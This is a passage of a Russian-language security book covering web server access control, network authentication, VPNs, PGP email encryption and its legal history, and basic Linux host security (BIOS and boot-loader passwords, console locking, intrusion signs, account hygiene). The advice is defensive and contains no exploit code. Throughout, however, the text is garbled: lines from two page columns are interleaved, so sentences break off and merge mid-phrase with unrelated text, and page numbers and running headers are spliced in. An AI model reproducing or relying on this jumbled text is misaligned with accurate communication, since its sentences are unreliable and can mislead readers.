приложений, одним из основных требований к
главному. Здесь, очевидно, просматривается
которым является мобильность, загруженная
аналогия с разделением адресных пространств
программа может обслуживать только
операционной системы и пользовательских
пользовательский интерфейс и осуществлять
процессов и использованием последними
сетевое взаимодействие с сервером. Программа не
системных вызовов.
может работать с файлами хотя бы потому, что на
Javaтерминале их, возможно, не будет. Более Подобная модель уже около 30 лет является
содержательные действия должны производиться стандартной для многопользовательских ОС.
на серверной стороне или осуществляться
программами, локальными для клиентской
системы.

267 268
Как защитить и/или атаковать Intranet Как защитить и/или атаковать Intranet

Глава 7: Защита WEB$серверов Разумеется, защита системы, на которой


функционирует Webсервер, должна следовать
Наряду с обеспечением безопасности универсальным рекомендациям, главной из
программной среды, важнейшим будет вопрос о которых является максимальное упрощение. Все
разграничении доступа к объектам Webсервиса. ненужные сервисы, файлы, устройства должны
Для решения этого вопроса необходимо уяснить, быть удалены. Число пользователей, имеющих
что является объектом, как идентифицируются прямой доступ к серверу, должно быть сведено к
субъекты и какая модель управления минимуму, а их привилегии — упорядочены в
доступом — принудительная или соответствии со служебными обязанностями.
произвольная — применяется.
Еще один общий принцип состоит в том,
В Webсерверах объектами доступа чтобы минимизировать объем информации о
выступают универсальные локаторы ресурсов сервере, которую могут получить пользователи.
(URL — Uniform (Universal) Resource Locator). За Многие серверы в случае обращения по имени
этими локаторами могут стоять различные каталога и отсутствия файла index.HTML в нем,
сущности — HTMLфайлы, CGIпроцедуры и т.п. выдают HTMLвариант оглавления каталога. В
Как правило, субъекты доступа этом оглавлении могут встретиться имена файлов
идентифицируются по IPадресам и/или именам с исходными текстами CGIпроцедур или с иной
компьютеров и областей управления. конфиденциальной информацией. Такого рода
дополнительные возможности целесообразно
Кроме того, может использоваться
отключать, поскольку лишнее знание
парольная аутентификация пользователей или
(злоумышленника) умножает печали (владельца
более сложные схемы, основанные на
сервера).
криптографических технологиях.
В большинстве Webсерверов права
разграничиваются с точностью до каталогов Глава 8: Аутентификация в открытых
(директорий) с применением произвольного сетях
управления доступом. Могут предоставляться
права на чтение HTMLфайлов, выполнение Методы, применяемые в открытых сетях для
CGIпроцедур и т.д. подтверждения и проверки подлинности
субъектов, должны быть устойчивы к пассивному
Для раннего выявления попыток и активному прослушиванию сети. Суть их
нелегального проникновения в Webсервер важен сводится к следующему.
регулярный анализ регистрационной информации.

269 270
Как защитить и/или атаковать Intranet Как защитить и/или атаковать Intranet

Субъект демонстрирует знание секретного Единственное реальное достоинство — это


ключа, при этом ключ либо вообще не передается гарантированная пропускная способность
по сети, либо передается в зашифрованном виде. выделенных линий, а вовсе не какаято
Субъект демонстрирует обладание повышенная защищенность. Впрочем,
программным или аппаратным средством современные оптоволоконные каналы способны
генерации одноразовых паролей или средством, удовлетворить потребности многих абонентов,
работающим в режиме запросответ. Нетрудно поэтому и указанное достоинство не всегда
заметить, что перехват и последующее облечено в реальную форму.
воспроизведение одноразового пароля или ответа Любопытно упомянуть, что в мирное время
на запрос ничего не дает злоумышленнику. 95% трафика Министерства обороны США
Субъект демонстрирует подлинность своего передается через сети общего пользования (в
местоположения, при этом используется система частности через Internet). В военное время эта
навигационных спутников. доля должна составлять лишь 70%. Можно
предположить, что Пентагон — не самая бедная
организация. Американские военные полагаются
Глава 9: Виртуальные частные сети на сети общего пользования потому, что развивать
собственную инфраструктуру в условиях быстрых
Одной из важнейших задач является защита
технологических изменений — занятие очень
потоков корпоративных данных, передаваемых по
дорогое и бесперспективное, оправданное даже
открытым сетям.
для критически важных национальных
Открытые каналы могут быть организаций только в исключительных случаях.
надежно защищены лишь одним
Представляется естественным возложить на
методом — криптографическим.
межсетевой экран задачу шифрования и
Отметим, что так называемые выделенные дешифрования корпоративного трафика на пути
линии не обладают особыми преимуществами во внешнюю сеть и из нее. Чтобы такое
перед линиями общего пользования в плане шифрование/дешифрование стало возможным,
информационной безопасности. Выделенные должно произойти начальное распределение
линии хотя бы частично будут располагаться в ключей. Современные криптографические
неконтролируемой зоне, где их могут повредить технологии предлагают для этого целый ряд
или осуществить к ним несанкционированное методов.
подключение.
После того как межсетевые экраны
осуществили криптографическое закрытие

271 272
Как защитить и/или атаковать Intranet Как защитить и/или атаковать Intranet

корпоративных потоков данных, территориальная Обслуживание и администрирование


разнесенность сегментов сети проявляется лишь в клиентских рабочих мест — занятие чрезвычайно
разной скорости обмена с разными сегментами. В сложное, дорогое и чреватое ошибками.
остальном вся сеть выглядит как единое целое, а Технология Intranet за счет простоты и
от абонентов не требуется привлечение какихлибо однородности архитектуры позволяет сделать
дополнительных защитных средств. стоимость администрирования клиентского
рабочего места практически нулевой. Важно и то,
что замена и повторный ввод в эксплуатацию
Глава 10: Простота и однородность клиентского компьютера могут быть осуществлены
архитектуры очень быстро, поскольку это клиенты без
состояния, у них нет ничего, что требовало бы
Важнейшим аспектом информационной
длительного восстановления или
безопасности является управляемость системы.
конфигурирования.
Управляемость — это и поддержание высокой
доступности системы за счет раннего выявления и На стыке клиентской и серверной частей
ликвидации проблем, и возможность изменения Intranetсистемы находится Webсервер. Это
аппаратной и программной конфигурации в позволяет иметь единый механизм регистрации
соответствии с изменившимися условиями или пользователей и наделения их правами доступа с
потребностями, и оповещение о попытках последующим централизованным
нарушения информационной безопасности администрированием. Взаимодействие с
практически в реальном времени, и снижение многочисленными разнородными сервисами
числа ошибок администрирования, и многое, оказывается скрытым не только от пользователей,
многое другое. но и в значительной степени от системного
администратора.
Наиболее остро проблема управляемости
встает на клиентских рабочих местах и на стыке Задача обеспечения информационной
клиентской и серверной частей информационной безопасности в Intranet оказывается более простой,
системы. Причина проста — клиентских мест чем в случае произвольных распределенных
гораздо больше, чем серверных, они, как правило, систем, построенных в архитектуре клиент/сервер.
разбросаны по значительно большей площади, их Причина тому — однородность и простота
используют люди с разной квалификацией и архитектуры Intranet. Если разработчики
привычками. прикладных систем сумеют в полной мере
воспользоваться этим преимуществом, то на
программнотехническом уровне им будет

273 274
Как защитить и/или атаковать Intranet Почта — защита и нападение

достаточно нескольких недорогих и простых в Часть одиннадцатая


освоении продуктов. Правда, к этому необходимо
присовокупить продуманную политику Почта — защита и
безопасности и целостный набор мер
процедурного уровня. нападение

Глава 1: Как защитить свой


электронный почтовый ящик
Один из главных недостатков
старейшего и наиболее известного инструмента
Internet — электронной почты — возможность
«перлюстрации». Системные администраторы,
технический персонал узлов, наконец,
пресловутые хакеры без особого труда могут
читать ваши письма.
Правда, сегодня электронной почтой
передается очень много сообщений, и вероятность
того, что ктото случайно «вскроет» именно ваше,
невелика. Но иногда информация бывает
настолько конфиденциальной, что даже такой
риск неприемлем. Более того, администрации
узлов Internet технически несложно осуществить
простой автоматический анализ проходящей почты
и выделить те сообщения, которые содержат
определенные слова, например «кокаин»,
«динамит» или, образно говоря, какойнибудь
«славянский шкаф».

275 276
Почта — защита и нападение Почта — защита и нападение

Однако существует способ обезопасить свою Лишь через несколько лет Филипп
переписку, — правда, при этом у вас могут обнаружил описание той же самой схемы в
возникнуть трения с законом. нескольких обзорных статьях и учебных
В 1990 г. Филипп Циммерман, материалах по криптографии. Его алгоритм
многоопытный экспертконсультант в области приводился в качестве домашнего упражнения на
программирования из университетского городка применение элементарных криптоаналитических
Боулдер (шт. Колорадо), славящегося давними методов, без труда вскрывающих шифр.
традициями свободомыслия, задумал и написал Этот отрезвляющий опыт позволил
первую версию программы, своего рода «охранной Филиппу понять, насколько легко при разработке
грамоты». Он назвал ее PGP — по первым буквам шифров, поддаться ложному чувству безопасности.
английской фразы Pretty Good Privacy. Не видя Большинство людей не представляют себе, что
удачного русского эквивалента английскому слову создать алгоритм, выдерживающий длительный и
privacy, вольно перевести эту фразу можно как настойчивый нажим располагающего
«тайна останется тайной». Эта программа соответствующими инструментами
распространяется бесплатно. Используя ее, можно специалиста, — очень трудная задача. Многие
обмениваться информацией, не тревожась, что программисты, не обладавшие специальными
ктото, даже государственные спецслужбы, знаниями в области криптографии, разрабатывали
использующие мощнейшие суперкомпьютеры, наивные способы шифровки, зачастую повторяя
сможет ее прочесть. друг друга. Эти алгоритмы затем включались в
Создание надежной криптографической коммерческие шифровальные программы, которые
системы — занятие для профессионалов. Филипп за большие деньги покупались тысячами ничего не
рассказывает: «Учась в университете (дело было в подозревающих пользователей.
начале семидесятых), я придумал, по моему Компания AccessData за 185 долларов
мнению, блестящий способ шифрования. К продает программу, вскрывающую зашифрованные
последовательности текстовых кодов добавлялась встроенными в соответствующие программы
несложная псевдослучайная последовательность алгоритмами файлы WordPerfect, Lotus 123, MS
чисел — и шифровка готова. На первый взгляд, Excel, Symphony, Quattro Pro, Paradox и MS Word.
такой способ исключал всякую возможность Программа не просто угадывает пароль, а
применить частотный анализ, а значит, оказывался выполняет настоящий криптоанализ. Иногда эту
не по зубам даже наиболее могущественным программу покупают, забыв пароль к собственным
государственным разведслужбам. Я, как индюк, файлам. Стражи порядка приобретают ее, чтобы
надулся от гордости». читать конфискованные файлы.

277 278
Почта — защита и нападение Почта — защита и нападение

Эрик Томпсон, написавший эту программу, «закрытая» одним ключом, «открывается» другим
однажды признался, что разгадывание шифров (и никак иначе, если только у когото в запасе нет
занимает доли секунды, а остальное время нескольких тысяч лет). Поскольку, зная один
программа просто симулирует работу, чтобы ключ, другой вычислить невозможно, можно (и
пользователь часом не понял, насколько это нужно, если вы хотите вести тайную переписку)
просто. Он рассказал также, что шифрованные сообщить один всем желающим. Пользуясь им,
архивы, получаемые с помощью архиватора они с помощью программы PGP кодируют свои
PKZIP, зачастую вскрываются столь же легко. письма, отправляемые вам.
В своей программе PGP Филипп Забавно, что, зашифровав письмо, сам автор
Циммерман использовал открытые сравнительно уже не может расшифровать его — второйто,
недавно революционные криптографические «открывающий» ключ у вас! Если любопытный
алгоритмы. Вкратце суть их такова. Алгоритм недоросль или специалист в штатском перехватит
использует не один, а два ключа, при этом оба отправленное вам письмо, то, даже зная
они генерируются на основании действительно «закрывающий» ключ, о котором вы раструбили
случайных данных. Для этого пользователю по всему свету, он ничего не сможет ни прочесть,
предлагается в течение определенного времени ни изменить. Значит, вам и вашему
произвольно нажимать клавиши, а затем корреспонденту нет нужды изобретать безопасный
промежутки между нажатиями и коды введенных способ передачи самого ключа — любой способ в
символов дополнительно обрабатываются для того, данном случае безопасен. Изза этой особенности
чтобы усилить фактор произвольности. После того такие алгоритмы называют еще алгоритмами с
как ключи изготовлены, послужившие им публичным, или открытым ключом.
«сырьем» случайные числа навсегда стираются. Этот метод шифровки открывает и новые
Процедура изготовления двух ключей такова, что возможности, например, посылка писем с
нет (и самое важное — не может быть) никакого «электронной подписью». Дело в том, что текст в
способа восстановить один по другому, кроме электронной форме теряет своеобразие
примитивного перебора наудачу всех возможных рукописного и очень легко поддается изменениям,
вариантов. Такой перебор даже на самых мощных что является огромным преимуществом, когда в
современных компьютерах займет века — здесь и документ нужно внести исправления (нет нужды
кроется изюминка алгоритма. разбирать чужие каракули), но превращается в
Ключи в паре равноправны. Каждый из них досадную помеху, если надо быть уверенным, что
можно использовать как для шифрования, так и текст, который вы читаете, действительно написан
для расшифровки, при этом информация, тем человеком, чье имя указано в конце, и

279 280
Почта — защита и нападение Почта — защита и нападение

получен вами именно в том виде, в каком автор и для его использования необходимо ввести
его отправил. Байты «не пахнут», и никаких фразупароль, которую вы должны, однажды
характерных росчерков в подписи «Ваш Евгений выбрав или придумав, помнить всегда. Но
Онегин» вы не обнаружите. Вот в этом случае и лишившись одной степени защиты, можно
выручает шифрование с публичным ключом: вы лишиться и второй. Не следует оставлять свои
можете быть уверены, что автор письма — именно секретные ключи на том компьютере, где вы
тот, кто его подписал. Можно выбрать и работаете, тем более если этот компьютер — узел
облегченный способ — зашифровать своим Internet и поэтому подвержен атакам
ключом не само сообщение, а определенным «взломщиков». Взломав его защиту, хакер может
образом вычисляемую контрольную сумму их украсть (скопировать), а с помощью
составляющих его символов, и результат «троянского коня» (программы, тайно
«подклеить» в конце — получится как бы дублирующей и передающей по сети своему
электронная печать вроде сургучной. «хозяину» вводимые с клавиатуры символы) узнать
Сообщение, как обычное письмо, будет при тайную фразупароль, необходимую для работы с
этом читаться и без PGP, однако с помощью PGP вашими ключами. И тогда вы пропали, ведь
вы, зная публичный ключ, сможете удостовериться теперь становится возможной подделка всех ваших
в авторстве. предыдущих электронных подписей. Так что
лучше носите ключи с собой на дискете, а фразу
Если вы хотите послать секретное письмо с запомните наизусть.
подписью, то сообщение (или его контрольную
сумму) следует зашифровать двумя Дезавуировать старый ключ и объявить
ключами — сначала вашим секретным, а потом новый технически несложно, но для этого вы
публичным адресата. Адресат, получив письмо, должны какимто образом проведать, что старый
вскрывает его «зеркальным» образом — сначала стал известен не только вам, — а как вы это
своим секретным (это может сделать только узнаете?
он — секретность), а потом публичным вашим Основной опасностью, слабым местом
(убеждаясь в авторстве — подпись). вообще всех систем с публичным ключом является
Есть здесь, конечно, и подводные камни. не кража секретных ключей, а подделка
Раскрытие тайны секретного ключа не так уж и публичных. Поясню на примере. Предположим,
вероятно, однако полностью сбрасывать со счетов вы хотите написать тайное послание Остапу
такую возможность не следует. В программе PGP Бендеру. Вы находите публичный ключ с его
реализована двойная защита — каждый секретный именем и шифруете им письмо. Однако вы не
ключ, в свою очередь, тоже надежно зашифрован, знаете, что на самом деле этот ключ создан и

281 282
Почта — защита и нападение Почта — защита и нападение

помещен на сервер не Остапом, а неким именно автора в том, что он как бы «вывез» из
злоумышленником, который хочет Бендера страны написанную им программу, по меньшей
подставить. Этот лиходей перехватывает ваше мере нелепо, эта нелепость грозит обернуться для
письмо и, поскольку он настоящий создатель Филиппа несколькими годами тюремного
ключа и, следовательно, у него есть и парный заключения. Пока же существует странное
секретный, спокойно вскрывает его. Более того, положение дел, при котором одну и ту же
он может написать вам и поддельный ответ. программу PGP можно получить по Internet с
Конечно, это не так просто — преступник нескольких разных компьютеров, как
должен не только объявить самодельную отмычку американских, так и расположенных вне США,
ключом Остапа, но и суметь перехватить ваше однако при этом копирование ее с американской
письмо и подделать адрес Бендера на фальшивке, машины является контрабандой и должно
которую он отправит вам от его имени. Это преследоваться по закону, в то время как
непросто, но технически вполне возможно. копирование, скажем, с итальянского узла
преступлением не является. Столь бессмысленная
Поэтому в PGP предусмотрены ситуация лишний раз подчеркивает, насколько
дополнительные средства, которые с большим или правительства опасаются отмены ограничений на
меньшим успехом помогают избежать такого распространение криптографической защиты, с
поворота событий. одной стороны, и насколько у них нет никаких
конструктивных идей о том, как именно следует
Глава 2: Юридическая сторона контролировать это распространение, с другой.
вопроса ФБР не оставляет попыток добиться
принятия законов, согласно которым
PGP и подобные ей программы производители шифровального оборудования и
представляют собой настолько мощное средство программ должны будут оставлять в своих
защиты информации, что с его помощью любой продуктах специальные «лазейки», через которые
может с успехом скрыть свои записи даже от сотрудники спецслужб — при наличии судебного
всевидящего ока спецслужб. ордера — могли бы шпионить за переговорами и
В Америке уже давно принят закон, перепиской.
запрещающий экспорт из страны сильных средств Пока все такие попытки, после активных
криптозащиты. Именно на основании этого закона протестов граждан, на той или иной стадии
против Филиппа Циммермана начато судебное оканчивались неудачей. Четвертый пункт Указа
преследование. Хотя в век Internet обвинять Президента РФ № 334 от 3 апреля 1995 г., в

283 284
Почта — защита и нападение Защищаем и атакуем Linux

частности, обязывает «запретить деятельность Часть двенадцатая


юридических и физических лиц, связанную с
разработкой, производством, реализацией и Защищаем и атакуем Linux
эксплуатацией шифровальных средств, а также
защищенных технических средств хранения,
обработки и передачи информации,
Чем более безопасна ваша система, тем более
предоставлением услуг в области шифрования
навязчивой становится ваша система безопасности.
информации, без лицензий, выданных
Вы должны решить, где находится баланс между
Федеральным агентством правительственной связи
удобством использования системы и необходимым
и информации при Президенте Российской
уровнем безопасности в вашей работе. Например, вы
Федерации». Каков будет порядок выполнения
могли бы требовать от всех удаленных
положений этого Указа, еще предстоит уточнить.
пользователей вашей системы использовать модемы
с запросом на дозвон (call back modem), чтобы ваша
система дозванивалась к ним на их домашний
телефон. Это более безопасно, но если
кто3нибудь захочет войти в вашу систему не из
дома, то ему будет довольно трудно
зарегистрироваться. Вы также можете установить
вашу Linux систему без сети или связи с Internet, но
это повлечет за собой невозможность Web3
серфинга.
Если у вас система средних или больших
размеров, вам нужно установить «Политику
Безопасности», которая определит, насколько
сильной должна быть у вас система безопасности и
какой должен быть аудит для ее проверки.

285 286
Защищаем и атакуем Linux Защищаем и атакуем Linux

Глава 1: Что именно вы пытаетесь пользователя в вашей системе или еще какойлибо
системе, он может его использовать для получения
защитить? доступа к другим системам и другим счетам.
До того, как вы начнете настраивать Опасность обычно исходит от когонибудь,
безопасность вашей системы, вы должны имеющего желание получить неразрешенный
определить, какому уровню угрозы вы должны доступ к вашей сети или компьютеру. Вы должны
противостоять, какой уровень риска вы должны решить, кому вы доверяете доступ к вашей
или не должны принимать, и насколько уязвима системе, и какую угрозу они могут представлять.
после этого будет ваша система. Вы должны Существует несколько типов взломщиков,
проанализировать вашу систему, чтобы знать, что поэтому полезно помнить отличающие их
вы защищаете, почему вы это защищаете, какую характеристики во время создания системы
это имеет ценность, и кто несет ответственность за безопасности.
ваши данные и другие ценности.
Любопытный. Этому типу взломщика в
Риск — это вероятность того, что взломщик основном интересно выведать, какого типа у вас
может одержать победу в своих попытках получить система и что за данные вы используете.
доступ к вашему компьютеру. Сможет ли
взломщик читать или писать файлы, или Злобный. Этот тип взломщика стремится
выполнять программы, которые могут нанести либо «вырубить» вашу систему, либо обезобразить
ущерб? Может ли взломщик удалить критические ваш Web узел, либо сделать другую пакость,
данные? Помешать вам или вашей компании отбирающую у вас время и деньги на
завершить очень важную работу? Не забудьте, что восстановление.
ктото, получив доступ к вашему счету (account), Высококлассный взломщик. Этот тип
или вашей системе, может притвориться вами. взломщика пытается использовать вашу систему
Кроме того, возникновение одного для получения популярности. Он может
небезопасного счета в вашей системе может использовать взлом вашей хорошо защищенной
подвергнуть риску всю вашу сеть. Имея системы для рекламы своих способностей.
единичного пользователя, которому позволено Конкурент. Этот тип взломщика
регистрироваться в системе, используя rhosts файл, интересуется данными, которые вы имеете в
или разрешено использовать небезопасный сервис, вашей системе. Это может быть ктото, кто
такой как tftp, вы рискуете, поскольку взломщик думает, что вы имеете чтото, что принесет ему
может использовать это, чтобы «открыть ногой денежную либо какуюнибудь другую прибыль.
вашу дверь». Как только взломщик заимел счет

287 288
Защищаем и атакуем Linux Защищаем и атакуем Linux

Понятие уязвимость описывает, насколько ● кому разрешено инсталлировать программное


хорошо защищен ваш компьютер от других в сети, обеспечение в системе;
а также возможность получения кемлибо ● кто владеет данными, проводит
неразрешенного доступа к вашей системе. восстановление и, соответственно, использует
Что будет, если ктото вломится в вашу систему.
систему? Конечно, важность домашнего Общепринятая политика безопасности
пользователя с динамическим РРР соединением начинается с фразы:
отличается от того, кто имеет выход в Internet или
другую большую сеть через сеть своей компании. «То, что не разрешено — запрещено»

Сколько времени необходимо на Это значит, что до тех пор, пока вы не


восстановление или воссоздание данных, которые разрешите доступ пользователю к определенному
были утеряны? Изначально потраченное время сервису, этот пользователь не сможет использовать
сейчас может сэкономить в десять раз больше этот сервис. Убедитесь, что политика работает,
времени потом, когда вам будет нужно воссоздать зарегистрировавшись обычным пользователем,
утерянные данные. Вы уже проверили вашу поскольку реплики типа: «Ах, как я не люблю эти
стратегию резервирования ограничения прав доступа, я просто сделаю все
(backup strategy), а позже проверяли данные на как администратор (root)» могут привести к
целостность? образованию очень очевидных «дыр» в системе
безопасности, и даже таких, с которыми еще не
известно как бороться.
Глава 2: Политика безопасности
Создайте простую, общую политику для Глава 3: Метод защиты вашего узла
вашей системы, чтобы ваши пользователи могли
быстро ее понять и следовать ей. Это должно Мы обсудим различные способы, с
сберечь данные, которые вы охраняете, а также помощью которых вы можете обезопасить активы,
конфиденциальность пользователей. Есть которые вы тяжело нарабатывали: ваш локальный
несколько вещей для дополнительного компьютер, данные, пользователей, сеть и даже
рассмотрения: вашу репутацию. Что случится с вашей
репутацией, если взломщик удалит данные
● кто должен иметь доступ к системе (Может некоторых ваших пользователей? Или обезобразит
ли мой друг использовать мой счет?); ваш webузел? Или обнародует проект
корпоративного плана вашей компании на

289 290
Защищаем и атакуем Linux Защищаем и атакуем Linux

следующий квартал? Если вы планируете поддержка хороших регистрационных записей и


структуру сети, существует очень много факторов, обновление программ, в которых обнаружены
которые вы должны принять во внимание, прежде «дыры» — вот некоторые из тех вещей, за
чем добавить какойлибо новый компьютер к выполнение которых отвечает локальных
вашей сети. администратор безопасности. Хотя это абсолютно
Даже если вы имеете один коммутируемый необходимо, это может стать пугающей задачей,
РРР счет, или просто маленький узел, это не когда ваша сеть становится больше.
значит, что взломщик не заинтересуется вашей
системой. Целью являются не только большие Глава 5: Безопасность вашей сети
широкопрофильные сети, многие взломщики
просто хотят исследовать как можно больше сетей, Безопасность сети также необходима как и
независимо от их размера. К тому же, они могут безопасность локального сервера. В вашей
использовать «дыры» в безопасности вашей сети единичной системе, распределенной
для получения доступа к другим сетям или узлам, вычислительной сети, Internet существуют сотни,
с которыми вы соединены. если не тысячи, компьютеров, соединенных в одну
Взломщики имеют много времени для своих сеть, и вы не можете быть уверены, что все они
делишек, и могут, не раздумывая над тем как вы будут безопасны. Убедиться, что только
скрыли вашу систему, просто перепробовать все авторизованным пользователям разрешено
возможности в нее попасть. Существует также использовать ресурсы вашей сети, построение
несколько причин, по которым взломщик может щитов (firewalls), использование надежной системы
быть заинтересован в вашей системе. шифрования, отслеживание появления
жульничающих или небезопасных машин в
сети — все это часть обязанностей администратора
Глава 4: Безопасность сервера сетевой безопасности.
Вероятно область безопасности, в которой
сконцентрировано максимум усилий, — это Глава 6: Безопасность через
безопасность сервера. Обычно это подразумевает сокрытие
постоянный контроль безопасности вашей
собственной системы, и надежду, что все Одним из типов безопасности, который
остальные в вашей сети делают то же. Выбор необходимо рассмотреть, является «безопасность
хороших паролей, поддержка безопасности через сокрытие». Это значит, что любые действия,
сервисов локальной сети вашего сервера, подобно изменению регистрационного имени из

291 292
Защищаем и атакуем Linux Защищаем и атакуем Linux

root на toor, например, чтобы попытаться в офисе, вам может понадобиться, а может и нет,
предотвратить вхождение когонибудь в вашу обезопасить вашу машину на несколько часов или
систему под root, являются лишь ложным пока вы вышли. В некоторых компаниях оставить
чувством безопасности и могут привести к терминал незащищенным считается
нежелательным последствиям. Многие непростительным проступком.
удостоверились, что любой атакующий систему
взломщик очень быстро и легко пройдет через
такие пустые меры безопасности. Просто то, что у
Глава 8: Запирание компьютера
вас небольшая сеть или относительно Многие современные компьютерные
узкопрофильный узел, не означает, что взломщик корпуса содержат «замок». Обычно это гнездо на
не захочет посмотреть, что вы имеете. передней панели корпуса, вставив ключ в которое
вы можете запереть либо отпереть компьютер.
Глава 7: Физическая безопасность Запирание корпуса может помочь предупредить
воровство вашего ПК или вскрытие корпуса и
Первым «уровнем» безопасности, который прямое манипулирование/воровство компонентов
вы должны принять во внимание, является вашего ПК. Это также может иногда
физическая безопасность систем вашего предотвратить загрузку кемлибо компьютера со
компьютера. Кто имеет прямой физический доступ своей дискеты или другого оборудования.
к вашей машине? Должен ли он/она его иметь? Эти замки делают различные вещи в
Можете ли вы защитить вашу машину от их зависимости от установленной материнской платы
возможно вредного действия? Должны ли вы это и конструкции корпуса. На многих ПК они
делать? устроены так, что если замок заперт, то вы
Степень физической безопасности, которая должны фактически сломать корпус, чтобы
нужна в вашей системе, очень сильно зависит от попасть внутрь. На некоторых других они сделаны
вашей ситуации и/или бюджета. так, что вы не сможете подключить новую
Если вы домашний пользователь, вероятно клавиатуру и мышь. Посмотрите в инструкцию к
вам не нужна сильная защита (хотя вам может вашей материнской плате или корпусу для более
понадобиться защитить вашу машину от вредных детальной информации. Это иногда может быть
детей или надоедливых родственников). Если вы в очень полезным качеством, даже если замки
лаборатории, то вам нужна уже значительно обычно очень низкого качества и легко могут быть
большая защита, но пользователям все еще будет вскрыты взломщиком с помощью отмычек.
нужна возможность работать на машинах. Если вы

293 294
Защищаем и атакуем Linux Защищаем и атакуем Linux

Некоторые корпуса (по большей мере Многие x86 BIOS позволяют вам установить
спарки (sparcs) и маки (macs)) имеют dongle на различные другие меры безопасности. Посмотрите
задней стенке, и если вы через него пропустите в руководство по вашему BIOS или загляните в
кабель, то взломщик будет вынужден либо его него во время очередного перезапуска.
отрезать, либо сломать корпус, чтобы попасть Некоторыми примерами являются: запрет загрузки
внутрь. Использование вместе с этим висячего или с дискеты, а также назначение пароля некоторым
комбинированного замка является хорошим пунктам BIOS.
средством устрашения для желающих своровать На Linux/Sparc ваш SPARC EEPROM может
ваш компьютер. быть установлен так, чтобы при запуске
спрашивать пароль. Это должно задержать
Глава 9: Безопасность BIOS взломщика.
Важно: Если у вас сервер и вы установили
BIOS является самым нижним уровнем загрузочный пароль, то ваша машина не сможет
программного обеспечения, которое без вмешательства загрузиться. Помните, что вы
конфигурирует или управляет вашим х86 должны войти и ввести пароль после сбоев
оборудованием. LILO и другие методы загрузки электропитания.
Linux обращаются к BIOS, чтобы узнать как
загружать ваш компьютер. Другое оборудование,
на котором можно запускать Linux, имеет Глава 10: Безопасность стартового
подобное программное обеспечение (OpenFirmware загрузчика (boot loader)
на маках (macs) и новых санах (suns), sun boot prom
и другие). Вы можете использовать ваш BIOS для Различные загрузчики Linux также имеют
предотвращения взломщиком перезапуска возможность установки стартового пароля.
компьютера и управления вашей Linux системой. Используя lilo, обратите внимание на свойства
Многие BIOS ПК, работающих под restricted и password. password позволит вам
Linux/x86, позволяют установить стартовый установить стартовый пароль. restricted позволит
пароль. Это не предоставляет полной безопасности загружать систему до тех пор, пока не встретится
(BIOS может быть перезаписан или удален, если установленная опция lilo: сообщение, подобное
ктонибудь заберется внутрь корпуса), но может single.
быть хорошим сдерживающим фактором Помните, что когда вы устанавливаете все
(например, это заберет время и оставит следы эти пароли — вы должны помнить их. Также
взлома). помните, что все эти пароли задержат

295 296
Защищаем и атакуем Linux Защищаем и атакуем Linux

определенного взломщика. Однако это может не Конечно, запирание вашей консоли


помешать коекому загрузиться с дискеты и помешает коекому прямо нанести вред вашей
примонтировать ваш корневой каталог. Если вы работе, однако не помешает перезагрузить вашу
скомбинируете средства безопасности вместе с машину или какимлибо другим образом
возможностями стартового загрузчика, вы можете разрушить вашу работу. Оно также не
предотвратить загрузку с дискеты в вашем BIOS, а предотвратит попыток доступа к вашей машине с
также назначить пароль в BIOS. других машин в сети и последующих проблем.

Глава 11: xlock и vlock Глава 12: Определение нарушений


Если вы время от времени покидаете ваше физической безопасности
рабочее место, было бы неплохо иметь Первое, что сразу замечается, это то, что
возможность «запереть» вашу консоль так, чтобы машина была перегружена. Поскольку Linux
никакой злоумышленник не мог подсмотреть вашу надежная и стабильная система, то перегружаться
работу. Есть две программы, которые решают эту она должна только когда вы ее выключаете для
задачу: xlock и vlock. обновления ОС, манипуляций с компонентами
хlock — это замок X экрана. Скорее всего, ПК, или подобных случаях. Если ваша машина
он включен во все Linux дистрибутивы, которые была перегружена без вас, включайте сигнал
поддерживают Х. Чтобы узнать о нем и его опциях тревоги. Многие из способов, которыми ваша
больше, посмотрите man страницы, но в общем вы защита может быть сломана, требуют от
можете запустить xlock с любого xterm на вашей взломщика перегрузки или выключения атакуемой
консоли, при этом он «запрет» дисплей и запросит машины.
пароль, если вы захотите продолжить работу. Проверьте наличие следов взлома на
vlock простая маленькая программа, которая корпусе и ближнем окружении. Хотя многие
позволяет вам «запереть» некоторые или все взломщики скрывают за собой всякие следы
виртуальные консоли вашей Linux системы. Вы присутствия, стирая системные журналы, все таки
можете «запереть» только ту, на которой будет неплохо все осмотреть на предмет каких
работаете, или их все. Если вы «запрете» только либо нарушений.
одну, ктото может войти и использовать консоль, Вот некоторые вещи, которые нужно
он просто не сможет использовать вашу vty, пока проверить в ваших системных журналах:
вы не отопрете ее. vlock распространяется с Red
Hat Linux, но ваш дистрибутив может отличаться.

297 298
Защищаем и атакуем Linux Защищаем и атакуем Linux

● Короткие или незаконченные системные Локальные пользователи также могут


журналы. причинить достаточно вреда в вашей системе,
● Системные журналы содержат странные даже (особенно) если они и являются теми, за
временные метки. кого себя выдают. Предоставлять счета людям,
которых вы не знаете или о которых не имеете
● Системные журналы содержат неверные контактной информации, является очень плохой
права доступа или права собственности. идеей.
● Присутствуют записи перегрузки или
перезапуска сервисов. Создание новых счетов
● Отсутствуют системные журналы. Вы должны быть уверены, что
предоставляете пользователям счета с
● Точка входа или регистрация su со странного
минимальными допусками, необходимыми для
места.
выполняемых ими задач. Если вы даете счет
вашему сыну (возраста 10 лет), то вы можете
Глава 13: Локальная безопасность позволить ему доступ к текстовому процессору или
графической программе, но не к удалению
Следующим пунктом, рассматриваемым в данных, которые ему не принадлежат.
безопасности вашей системы, является защита от
Существует несколько неписанных правил,
атак со стороны локальных пользователей.
которых необходимо придерживаться при
Получение доступа, как локальный предоставлении законного доступа к вашей Linux
пользователь — это один из первых шагов, машине:
которые попытается сделать взломщик на пути к
● Предоставляйте минимальное количество
получению счета администратора. При небрежной
привилегий.
локальной безопасности он (взломщик) — может
затем «перерегистрировать» свой счет с рядового ● Отслеживайте когда/откуда происходит
пользователя на администратора, используя регистрация или ведите журнал.
различные ошибки (bugs) и неправильно ● Не забудьте удалить счет, если он больше не
настроенные локальные сервисы. Если вы используется.
обеспечите достаточный уровень вашей локальной
Большинство счетов локальных
безопасности, то взломщик будет иметь еще один
пользователей, которые используются для прорыва
барьер для проникновения.
системы безопасности, являются счетами, которые
не использовались месяцы, а то и годы. Поскольку

299 300
Защищаем и атакуем Linux Защищаем и атакуем Linux

никто их не использует, они являются идеальным ли вы хотите удалить все файлы. (Это
атакующим транспортом. происходит таким образом, что ваш shell
сначала распознает i и передаст ее, как
Безопасность администратора опцию для rm). Однако это не поможет для
